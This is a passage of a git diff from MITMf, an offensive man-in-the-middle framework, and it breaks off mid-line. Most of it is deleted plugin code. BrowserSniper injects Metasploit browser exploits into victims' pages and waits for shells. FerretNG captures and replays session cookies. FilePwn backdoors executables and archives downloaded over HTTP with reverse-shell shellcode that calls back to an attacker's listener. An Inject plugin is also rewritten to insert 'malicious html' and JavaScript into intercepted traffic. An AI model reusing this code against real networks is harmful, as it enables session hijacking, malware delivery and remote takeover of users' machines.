sessions for a maximum of 60 seconds - #Will also make sure the shell actually came from the box that we targeted - mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip)) - - poll_n = 1 - msf = Msf() - while poll_n != 30: - - if msf.sessionsfrompeer(ip): - mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) - self.sploited_ips.append(ip) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - return - - poll_n += 1 - sleep(2) - - mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - - def snipe(self): - while True: - if self.output: - vic_ip = self.output['ip'] - msfport = self.config['MITMf']['Metasploit']['msfport'] - exploits = self.getExploits() - - if not exploits: - if vic_ip not in self.sploited_ips: - mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) - self.sploited_ips.append(vic_ip) - self.black_ips = self.sploited_ips - - elif exploits and (vic_ip not in self.sploited_ips): - mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits))) - inject_payload = '' - - msf = Msf() - for exploit in exploits: - - pid = msf.findpid(exploit) - if pid: - mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) - url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit - inject_payload += "".format(self.msfip, msfport, url) - else: - url, port = self._setupExploit(exploit, msfport) - inject_payload += "".format(self.msfip, port, url) - - self.injectAndPoll(vic_ip, inject_payload) - - sleep(1) diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py deleted file mode 100644 index 9525e86..0000000 --- a/plugins/CacheKill.py +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -from plugins.plugin import Plugin - -mitmf_logger = logging.getLogger("mitmf") - -class CacheKill(Plugin): - name = "CacheKill" - optname = "cachekill" - desc = "Kills page caching by modifying headers" - version = "0.1" - - def initialize(self, options): - self.bad_headers = ['if-none-match', 'if-modified-since'] - - def serverHeaders(self, response, request): - '''Handles all response headers''' - response.headers['Expires'] = "0" - response.headers['Cache-Control'] = "no-cache" - - def clientRequest(self, request): - '''Handles outgoing request''' - request.headers['pragma'] = 'no-cache' - for header in self.bad_headers: - if header in request.headers: - del request.headers[header] \ No newline at end of file diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py deleted file mode 100644 index 42c426a..0000000 --- a/plugins/FerretNG.py +++ /dev/null @@ -1,105 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import ast -import sys - -from datetime import datetime -from plugins.plugin import Plugin -from twisted.internet import reactor -from twisted.web import http -from twisted.internet import reactor -from core.utils import shutdown -from core.ferretng.FerretProxy import FerretProxy -from core.ferretng.URLMonitor import URLMonitor - -mitmf_logger = logging.getLogger("mitmf") - -class FerretNG(Plugin): - name = "Ferret-NG" - optname = "ferretng" - desc = "Captures cookies and starts a proxy that will feed them to connected clients" - version = "0.1" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.ferret_port = 10010 or options.ferret_port - self.cookie_file = None - - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - - if options.cookie_file: - self.tree_info.append('Loading cookies from log file') - try: - with open(options.cookie_file, 'r') as cookie_file: - self.cookie_file = ast.literal_eval(cookie_file.read()) - URLMonitor.getInstance().cookies = self.cookie_file - cookie_file.close() - except Exception as e: - shutdown("[-] Error loading cookie log file: {}".format(e)) - - self.tree_info.append("Listening on port {}".format(self.ferret_port)) - - def onConfigChange(self): - mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - - def clientRequest(self, request): - if 'cookie' in request.headers: - host = request.headers['host'] - cookie = request.headers['cookie'] - client = request.client.getClientIP() - - if client not in URLMonitor.getInstance().cookies: - URLMonitor.getInstance().cookies[client] = [] - - for entry in URLMonitor.getInstance().cookies[client]: - if host == entry['host']: - mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host)) - entry['host'] = host - entry['cookie'] = cookie - return - - mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) - URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) - - def pluginReactor(self, StrippingProxy): - FerretFactory = http.HTTPFactory(timeout=10) - FerretFactory.protocol = FerretProxy - reactor.listenTCP(self.ferret_port, FerretFactory) - - def pluginOptions(self, options): - options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)') - options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file') - - def finish(self): - if not URLMonitor.getInstance().cookies: - return - - if self.cookie_file == URLMonitor.getInstance().cookies: - return - - mitmf_logger.info("[Ferret-NG] Writing cookies to log file") - with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: - cookie_file.write(str(URLMonitor.getInstance().cookies)) - cookie_file.close() diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py deleted file mode 100644 index b6dd919..0000000 --- a/plugins/FilePwn.py +++ /dev/null @@ -1,640 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' -# -# Author Joshua Pitts the.midnite.runr 'at' gmail com -# -# Copyright (c) 2013-2014, Joshua Pitts -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, -# are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors -# may be used to endorse or promote products derived from this software without -# specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -# POSSIBILITY OF SUCH DAMAGE. -# -# Tested on Kali-Linux. - -import sys -import os -import pefile -import zipfile -import logging -import shutil -import random -import string -import threading -import tarfile -import multiprocessing - -from libs.bdfactory import pebin -from libs.bdfactory import elfbin -from libs.bdfactory import machobin -from core.msfrpc import Msf -from core.utils import shutdown -from plugins.plugin import Plugin -from tempfile import mkstemp -from configobj import ConfigObj - -mitmf_logger = logging.getLogger("mitmf") - -class FilePwn(Plugin): - name = "FilePwn" - optname = "filepwn" - desc = "Backdoor executables being sent over http using bdfactory" - tree_info = ["BDFProxy v0.3.2 online"] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - - self.patched = multiprocessing.Queue() - - #FOR FUTURE USE - self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] - - #FOR FUTURE USE - self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip'] - - #USED NOW - self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0}, - 'pe': {'number': 'MZ', 'offset': 0}, - 'gz': {'number': '1f8b'.decode('hex'), 'offset': 0}, - 'bz': {'number': 'BZ', 'offset': 0}, - 'zip': {'number': '504b0304'.decode('hex'), 'offset': 0}, - 'tar': {'number': 'ustar', 'offset': 257}, - 'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0}, - 'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0}, - 'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0}, - } - - #NOT USED NOW - #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - - #FilePwn options - self.userConfig = self.config['FilePwn'] - self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] - self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] - self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] - self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] - self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] - self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] - self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] - self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] - self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] - self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] - self.zipblacklist = self.userConfig['ZIP']['blacklist'] - self.tarblacklist = self.userConfig['TAR']['blacklist'] - - msfversion = Msf().version() - self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - - t = threading.Thread(name='setupMSF', target=self.setupMSF) - t.setDaemon(True) - t.start() - - def setupMSF(self): - msf = Msf() - for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: - cmd = "use exploit/multi/handler\n" - cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) - cmd += "set LHOST {}\n".format(config["HOST"]) - cmd += "set LPORT {}\n".format(config["PORT"]) - cmd += "set ExitOnSession False\n" - cmd += "exploit -j\n" - - pid = msf.findpid('multi/handler') - if pid: - info = msf.jobinfo(pid) - if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and (info['datastore']['LPORT'] == config["PORT"]) and (info['datastore']['lhost'] != config['HOST']): - msf.killjob(pid) - msf.sendcommand(cmd) - else: - msf.sendcommand(cmd) - else: - msf.sendcommand(cmd) - - def onConfigChange(self): - self.initialize(self.options) - - def convert_to_Bool(self, aString): - if aString.lower() == 'true': - return True - elif aString.lower() == 'false': - return False - elif aString.lower() == 'none': - return None - - def bytes_have_format(self, bytess, formatt): - number = self.magicNumbers[formatt] - if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']: - return True - return False - - def binaryGrinder(self, binaryFile): - """ - Feed potential binaries into this function, - it will return the result PatchedBinary, False, or None - """ - - with open(binaryFile, 'r+b') as f: - binaryTMPHandle = f.read() - - binaryHeader = binaryTMPHandle[:4] - result = None - - try: - if binaryHeader[:2] == 'MZ': # PE/COFF - pe = pefile.PE(data=binaryTMPHandle, fast_load=True) - magic = pe.OPTIONAL_HEADER.Magic - machineType = pe.FILE_HEADER.Machine - - #update when supporting more than one arch - if (magic == int('20B', 16) and machineType == 0x8664 and - self.WindowsType.lower() in ['all', 'x64']): - add_section = False - cave_jumping = False - if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx64['SHELL'], - HOST=self.WindowsIntelx64['HOST'], - PORT=int(self.WindowsIntelx64['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif (machineType == 0x14c and - self.WindowsType.lower() in ['all', 'x86']): - add_section = False - cave_jumping = False - #add_section wins for cave_jumping - #default is single for BDF - if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx86['SHELL'], - HOST=self.WindowsIntelx86['HOST'], - PORT=int(self.WindowsIntelx86['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF - - targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - if targetFile.class_type == 0x1: - #x86CPU Type - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx86['SHELL'], - HOST=self.LinuxIntelx86['HOST'], - PORT=int(self.LinuxIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - elif targetFile.class_type == 0x2: - #x64 - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx64['SHELL'], - HOST=self.LinuxIntelx64['HOST'], - PORT=int(self.LinuxIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho - targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - #ONE CHIP SET MUST HAVE PRIORITY in FAT FILE - - if targetFile.FAT_FILE is True: - if self.FatPriority == 'x86': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif self.FatPriority == 'x64': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - self.patched.put(result) - return - - except Exception as e: - print 'Exception', str(e) - mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e)) - return None - - def tar_files(self, aTarFileBytes, formatt): - "When called will unpack and edit a Tar File and return a tar file" - - print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB' - - if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): - print "[!] TarFile over allowed size" - mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes))) - self.patched.put(aTarFileBytes) - return - - with tempfile.NamedTemporaryFile() as tarFileStorage: - tarFileStorage.write(aTarFileBytes) - tarFileStorage.flush() - - if not tarfile.is_tarfile(tarFileStorage.name): - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - compressionMode = ':' - if formatt == 'gz': - compressionMode = ':gz' - if formatt == 'bz': - compressionMode = ':bz2' - - tarFile = None - try: - tarFileStorage.seek(0) - tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode) - except tarfile.ReadError: - pass - - if tarFile is None: - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - print '[*] Tar file contents and info:' - print '[*] Compression:', formatt - - members = tarFile.getmembers() - for info in members: - print "\t", info.name, info.mtime, info.size - - newTarFileStorage = tempfile.NamedTemporaryFile() - newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage) - - patchCount = 0 - wasPatched = False - - for info in members: - print "[*] >>> Next file in tarfile:", info.name - - if not info.isfile(): - print info.name, 'is not a file' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - if info.size >= long(self.FileSizeMax): - print info.name, 'is too big' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - # Check against keywords - keywordCheck = False - - if type(self.tarblacklist) is str: - if self.tarblacklist.lower() in info.name.lower(): - keywordCheck = True - - else: - for keyword in self.tarblacklist: - if keyword.lower() in info.name.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Tar blacklist enforced!" - mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name)) - continue - - # Try to patch - extractedFile = tarFile.extractfile(info) - - if patchCount >= int(self.userConfig['TAR']['patchCount']): - newTarFile.addfile(info, extractedFile) - else: - # create the file on disk temporarily for fileGrinder to run on it - with tempfile.NamedTemporaryFile() as tmp: - shutil.copyfileobj(extractedFile, tmp) - tmp.flush() - patchResult = self.binaryGrinder(tmp.name) - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(tmp.name) - print "[*] Patching complete, adding to tar file." - info.size = os.stat(file2).st_size - with open(file2, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name)) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - with open(tmp.name, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name)) - if patchCount == int(self.userConfig['TAR']['patchCount']): - mitmf_logger.info("Met Tar config patchCount limit.") - - # finalize the writing of the tar file first - newTarFile.close() - - # then read the new tar file into memory - newTarFileStorage.seek(0) - ret = newTarFileStorage.read() - newTarFileStorage.close() # it's automatically deleted - - if wasPatched is False: - # If nothing was changed return the original - print "[*] No files were patched forwarding original file" - self.patched.put(aTarFileBytes) - return - else: - self.patched.put(ret) - return - - def zip_files(self, aZipFile): - "When called will unpack and edit a Zip File and return a zip file" - - print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB' - - if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): - print "[!] ZipFile over allowed size" - mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile))) - self.patched.put(aZipFile) - return - - tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) - tmpDir = '/tmp/' + tmpRan - tmpFile = '/tmp/' + tmpRan + '.zip' - - os.mkdir(tmpDir) - - with open(tmpFile, 'w') as f: - f.write(aZipFile) - - zippyfile = zipfile.ZipFile(tmpFile, 'r') - - #encryption test - try: - zippyfile.testzip() - - except RuntimeError as e: - if 'encrypted' in str(e): - mitmf_logger.info('Encrypted zipfile found. Not patching.') - return aZipFile - - print "[*] ZipFile contents and info:" - - for info in zippyfile.infolist(): - print "\t", info.filename, info.date_time, info.file_size - - zippyfile.extractall(tmpDir) - - patchCount = 0 - - wasPatched = False - - for info in zippyfile.infolist(): - print "[*] >>> Next file in zipfile:", info.filename - - if os.path.isdir(tmpDir + '/' + info.filename) is True: - print info.filename, 'is a directory' - continue - - #Check against keywords - keywordCheck = False - - if type(self.zipblacklist) is str: - if self.zipblacklist.lower() in info.filename.lower(): - keywordCheck = True - - else: - for keyword in self.zipblacklist: - if keyword.lower() in info.filename.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Zip blacklist enforced!" - mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename)) - continue - - patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) - - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(info.filename) - print "[*] Patching complete, adding to zip file." - shutil.copyfile(file2, tmpDir + '/' + info.filename) - mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename)) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename)) - - print '-' * 10 - - if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. - mitmf_logger.info("Met Zip config patchCount limit.") - break - - zippyfile.close() - - zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) - - print "[*] Writing to zipfile:", tmpFile - - for base, dirs, files in os.walk(tmpDir): - for afile in files: - filename = os.path.join(base, afile) - print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') - zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) - - zipResult.close() - #clean up - shutil.rmtree(tmpDir) - - with open(tmpFile, 'rb') as f: - tempZipFile = f.read() - os.remove(tmpFile) - - if wasPatched is False: - print "[*] No files were patched forwarding original file" - self.patched.put(aZipFile) - return - else: - self.patched.put(tempZipFile) - return - - def serverResponse(self, response, request, data): - - content_header = response.headers['Content-Type'] - client_ip = response.getClientIP() - - if content_header in self.zipMimeTypes: - - if self.bytes_have_format(data, 'zip'): - mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip)) - - process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,)) - process.daemon = True - process.start() - #process.join() - bd_zip = self.patched.get() - - if bd_zip: - mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) - return {'response': response, 'request': request, 'data': bd_zip} - - else: - for tartype in ['gz','bz','tar']: - if self.bytes_have_format(data, tartype): - mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip)) - - process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) - process.daemon = True - process.start() - #process.join() - bd_tar = self.patched.get() - - if bd_tar: - mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) - return {'response': response, 'request': request, 'data': bd_tar} - - - elif content_header in self.binaryMimeTypes: - for bintype in ['pe','elf','fatfile','machox64','machox86']: - if self.bytes_have_format(data, bintype): - mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype)) - fd, tmpFile = mkstemp() - with open(tmpFile, 'w') as f: - f.write(data) - - process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) - process.daemon = True - process.start() - #process.join() - patchb = self.patched.get() - - if patchb: - bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() - os.remove('./backdoored/' + os.path.basename(tmpFile)) - mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) - return {'response': response, 'request': request, 'data': bd_binary} - - mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header)) - return {'response': response, 'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index cb9c337..907e2ab 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -1,5 +1,3 @@ -#!/usr/bin/env python2.7 - # Copyright (c) 2014-2016 Marcello Salvati # # This program is free software; you can redistribute it and/or @@ -18,31 +16,31 @@ # USA # -import logging import time import re import sys import argparse -from core.utils import SystemConfig from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill -mitmf_logger = logging.getLogger("mitmf") - -class Inject(CacheKill, Plugin): +class Inject(Plugin): name = "Inject" optname = "inject" desc = "Inject arbitrary content into HTML content" - version = "0.3" - has_opts = True + version = "0.4" def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - self.our_ip = SystemConfig.getIP(options.interface) - self.html_src = options.html_url - self.js_src = options.js_url + self.ip = options.ip + + self.html_url = options.html_url + self.html_payload = options.html_payload + self.html_file = options.html_file + self.js_url = options.js_url + self.js_payload = options.js_payload + self.js_file = options.js_file + self.rate_limit = options.rate_limit self.count_limit = options.count_limit self.per_domain = options.per_domain @@ -50,33 +48,47 @@ class Inject(CacheKill, Plugin): self.white_ips = options.white_ips.split(',') self.white_domains = options.white_domains.split(',') self.black_domains = options.black_domains.split(',') - self.match_str = "" or options.match_str - self.html_payload = options.html_payload + self.match_str = options.match_str + self.ctable = {} self.dtable = {} self.count = 0 self.mime = "text/html" - if not options.preserve_cache: - CacheKill.initialize(self, options) - - def serverResponse(self, response, request, data): - #We throttle to only inject once every two seconds per client - #If you have MSF on another host, you may need to check prior to injection - #print "http://" + response.client.getRequestHostname() + response.uri + def response(self, response, request, data): ip, hn, mime = self._get_req_info(response) - if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip): - if (not self.js_src == self.html_src is not None or not self.html_payload == ""): - data = self._insert_html(data, post=[(self.match_str, self._get_payload())]) + if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip): + if (not self.js_url == self.html_url is not None or not self.html_payload == ""): + data = self._insert_html(data, post=[(self.match_str, self.get_payload())]) self.ctable[ip] = time.time() self.dtable[ip+hn] = True self.count += 1 - mitmf_logger.info("{} [{}] Injected malicious html: {}".format(ip, self.name, hn)) + self.clientlog.info("Injected malicious html: {}".format(hn), extra=request.clientInfo) return {'response': response, 'request':request, 'data': data} - def _get_payload(self): - return self._get_js() + self._get_iframe() + self.html_payload + def get_payload(self): + payload = '' + + if self.html_url is not None: + payload += ''.format(self.html_url) + + if self.html_payload is not None: + payload += self.html_payload + + if self.html_file: + payload += self.html_file.read() + + if self.js_url is not None: + payload += ''.format(self.js_url) + + if self.js_payload is not None: + payload += ''.format(self.js_payload) + + if self.js_file: + payload += ''.format(self.js_file.read()) + + return payload def _ip_filter(self, ip): @@ -134,16 +146,6 @@ class Inject(CacheKill, Plugin): mime = response.headers['Content-Type'] return (ip, hn, mime) - def _get_iframe(self): - if self.html_src is not None: - return '' % (self.html_src) - return '' - - def _get_js(self): - if self.js_src is not None: - return '' % (self.js_src) - return '' - def _insert_html(self, data, pre=[], post=[], re_flags=re.I): ''' To use this function, simply pass a list of tuples of the form: @@ -166,18 +168,20 @@ class Inject(CacheKill, Plugin): return data - def pluginOptions(self, options): - options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious 